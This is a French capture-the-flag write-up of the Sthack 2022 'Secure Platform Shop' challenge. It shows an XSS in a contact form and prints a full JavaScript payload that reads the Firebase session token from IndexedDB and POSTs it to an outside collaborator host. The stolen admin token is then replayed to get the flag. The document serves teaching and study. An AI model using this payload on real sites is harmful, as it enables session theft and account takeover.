Sthack 2022 / SPS
May 20, 2022Secure Platform Shop
Nous accédons au challenge et découvrons la page d’accueil.
Nous constatons qu’un formulaire de contact est présent. De plus, il est possible de prévisualiser le message envoyé. Nous injectons d’abord du code HTML afin de vérifier s’il est interprété.
Nous constatons que le code HTML est interprété. Nous tentons désormais d’exécuter du code Javascript.
Le code Javascript est bien interprété. Nous sommes donc en présence d’une faille de type XSS.
Nous constatons qu’il est possible de créer un compte sur l’application.
Nous créons donc un compte et nous connectons. Nous cherchons à savoir comment fonctionne le mécanisme de maintien de session.
Aucun jeton n’est présent dans le local storage ni dans le session storage.
Nous constatons qu’un objet firebaseLocalStorage
est présent dans le stockage IndexedDB
du navigateur.
Nous écrivons donc un script Javascript permettant de lire l’objet Firebase contenu dans la base de données et de l’envoyer sur un serveur nous appartenant.
La communication avec IndexedDB
a été rédigée grâce à la documentation MDN.
var open = indexedDB.open("firebaseLocalStorageDb", 1);
// Create the schema
open.onupgradeneeded = function() {
var db = open.result;
};
open.onsuccess = function() {
// Start a new transaction
var db = open.result;
var transaction = db.transaction(["firebaseLocalStorage"]);
var objectStore = transaction.objectStore("firebaseLocalStorage");
var request = objectStore.getAllKeys()
request.onerror = function(event) {
console.log("Echec de la requête !");
}
request.onsuccess = function(event) {
if (request.result) {
const key = request.result[0];
const req2 = objectStore.get(key)
req2.onerror = function(event) {
console.log("Echec de la requête !");
}
req2.onsuccess = function(event) {
if (req2.result) {
const token = req2.result.value
fetch("https://l9vt4knt6pdu3jub6slnilap3g96xv.oastify.com", {
method: "POST",
body: JSON.stringify(token)
})
}
}
} else {
console.log("Aucune entrée disponible");
}
};
// Close the db when the transaction is done
transaction.oncomplete = function() {
db.close();
};
}
Nous minifions ce code et l’intégrons dans un message à envoyer à l’administrateur via le formulaire de contact. Ce script sera exécuté sur le navigateur de l’administrateur grâce à la faille XSS.
Nous recevons ensuite une requête.
Celle-ci contient bien le jeton de l’administrateur.
Nous remplaçons ensuite notre jeton par celui obtenu, dans la requête vers la route /flag
.
Nous récupérons le flag.